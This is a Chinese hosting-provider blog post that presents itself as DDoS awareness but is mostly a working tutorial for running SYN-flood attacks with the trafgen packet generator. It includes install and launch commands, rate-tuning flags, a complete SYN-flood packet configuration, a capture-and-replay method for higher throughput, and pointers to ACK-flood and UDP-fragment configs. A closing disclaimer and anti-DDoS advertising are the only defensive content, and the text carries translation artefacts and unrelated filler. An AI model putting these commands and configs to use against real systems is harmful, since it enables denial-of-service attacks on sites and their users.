最新消息:阿里云双12优惠,史上最低折扣。

警惕!DDoS新型流量模拟工具正在兴起,或许你的网站正在被黑客用作测试!

服务器租用 aliyun 243浏览

Bit、Byte、kb、KB、MB,KiB、MiB是什么意思?

Byte表示:字节,8个二进制位构成1个字节,即1 Byte = 8 bit 。1个英文字母或者数字占用1个字节的空间,1个汉字占据2个字节的空间。

工具选择

开源的流量生成工具很多,可用于模拟的DoS攻击的工具也不在少数,如hping,Scapy的(蟒库)等等,但均存在着不足,如性能不够,不能模拟的ddos攻击(攻击流IP和PORT不能动态变化)。

通过详细的对比测试(同hping,Scapy的,LOIC等对比测试,具体数据不宜公开),最后统一选择了netsniff-NG套件中的trafgen攻击,其在测试环境中可达到24万个PPS的握手溢出攻击,是一款高速,多线程网络数据包生成工具。

trafgen工具能够通过配置文件动态修改攻击包的内容

简单使用

1.安装

trafgen属于netsniff-NG套件,是一款的Linux下的工具,安装很方便,通过系统的在线安装工具即可完成安装,如centos的下yum install netsniff-ng即可

2.使用(SYN Flood攻击)

工具的比较简单,主要是配置文件的编写,假设已经写好了一个握手溢出配置文件

命令键入trafgen –cpp –dev ens33 –conf synflood.trafgen –verbose即可发起攻击

进一步的还可通过trafgen –cpp –dev ens33 –conf synflood.trafgen –verbose –gap 1000(以毫秒为单位)来调节速度

进一步的还可通过trafgen –cpp –dev ens33 –conf synflood.trafgen –verbose –kernel-pull 20(默认为10us)来调节速度

详细的可以man trafgen

配置文件解读(以synflood.trafgen文件为例)

synflood.trafgen模版,trafgen就是通过该文件来生成特定的数据包的!看配置文件的注释基本能清除如何修改

/* TCP SYN attack ( 64byte )

* Command example:

* trafgen –cpp –dev em2 –conf synflood.trafgen –verbose

* Note: dynamic elements “drnd()” make trafgen slower

*/

#define ETH_P_IP 0x0800

#define SYN (1 << 1)

#define ACK (1 << 4)

#define ECN (1 << 6)

{

/* — Ethernet Header — */

/* NEED ADJUST */

// 0x00, 0x12, 0xc0, 0x02, 0xac, 0x56, # MAC Destination

// 0x00, 0x12, 0xc0, drnd(3), # MAC Source

0xf4, 0xe9, 0xd4, 0x8d, 0x04, 0x82, # MAC Destination

0xf4, 0xe9, 0xd4, 0x8c, 0xe2, 0xa2, # MAC Source

const16(ETH_P_IP),

/* IPv4 Version, IHL, TOS */

0b01000101, 0,

/* IPv4 Total Len */

const16(46),

/* IPv4 Ident */

drnd(2),

//const16(2),

/* IPv4 Flags, Frag Off */

0b01000000, 0,

/* IPv4 TTL */

64,

/* Proto TCP */

0x06,

/* IPv4 Checksum (IP header from, to) */

csumip(14, 33),

/* NEED ADJUST */

// 10, 10, 88, drnd(1), # Source IP

10, 10, 88, 173, # Source IP

10, 10, 88, 172, # Dest IP

/* TCP Source Port */

drnd(2),

/* TCP Dest Port */

const16(80),

/* TCP Sequence Number */

drnd(4),

/* TCP Ackn. Number */

const32(0), /* NOTICE ACK==zero with SYN packets */

/* TCP Header length + Flags */

//const16((0x5 << 12) | SYN | ECN) /* TCP SYN+ECN Flag */

//const16((0x5 << 12) | SYN | ACK) /* TCP SYN+ACK Flag */

const16((0x5 << 12) | SYN) /* TCP SYN Flag */

//const16((0x5 << 12) | ACK) /* TCP ACK Flag */

/* Window Size */

const16(16),

/* TCP Checksum (offset IP, offset TCP) */

csumtcp(14, 34),

const16(0), /*PAD*/

/* Data */

“SYNswf”

}

文件配置柯林斯通过drnd()函数来实现对应内容的动态生成,如IP,MAC地址等,但是会影响性能

修改的MAC地址(攻击/被攻击MAC地址)

修改IP地址和攻击协议及端口号,const16()将对应的十进制数转换成一个16位的二进制数

修改位SYN标志(根据情况也可修改为其他的)

3. ACKFlood攻击

配置文件见github ddos-dos-tools

4. UDP片段攻击

配置文件见github ddos-dos-tools

5.退出命令

统一退出命令pgrep trafgen | xargs kill -s 9

其他

在trafgen性能仍达不到要求的情况下,可通过netsniff-NG攻击进行流量回放,如下

先捕获synfloog攻击数据包

netsniff-ng –in ens33 –out synflood.pcap –silent –verbose –filter ‘ether src 00:50:56:ab:a5:3f’

trafgen –cpp –dev ens33 –conf synflood.trafgen –verbose

再重放握手溢出攻击数据包

netsniff-ng –in synflood.pcap –out ens33 –silent –prio-high –verbose

在用trafgen进行实时流量生成或者netsniff-NG重放时,通过还可工具tc进行流量控制。

本文单单作为技术交流所用,是让大家更好的了解DDoS与防范DDoS攻击!如有利用文章内容进行DDoS攻击,请自行承担法律责任!如果您为DDoS而烦恼可以选择云高防IP或高防云服务器,想了解更多DDoS相关防护知识的小伙伴请阅读《防护DDoS,我们应当从拿几个方向着手?》

转载请注明:小猪云服务器租用推荐 » 警惕!DDoS新型流量模拟工具正在兴起,或许你的网站正在被黑客用作测试!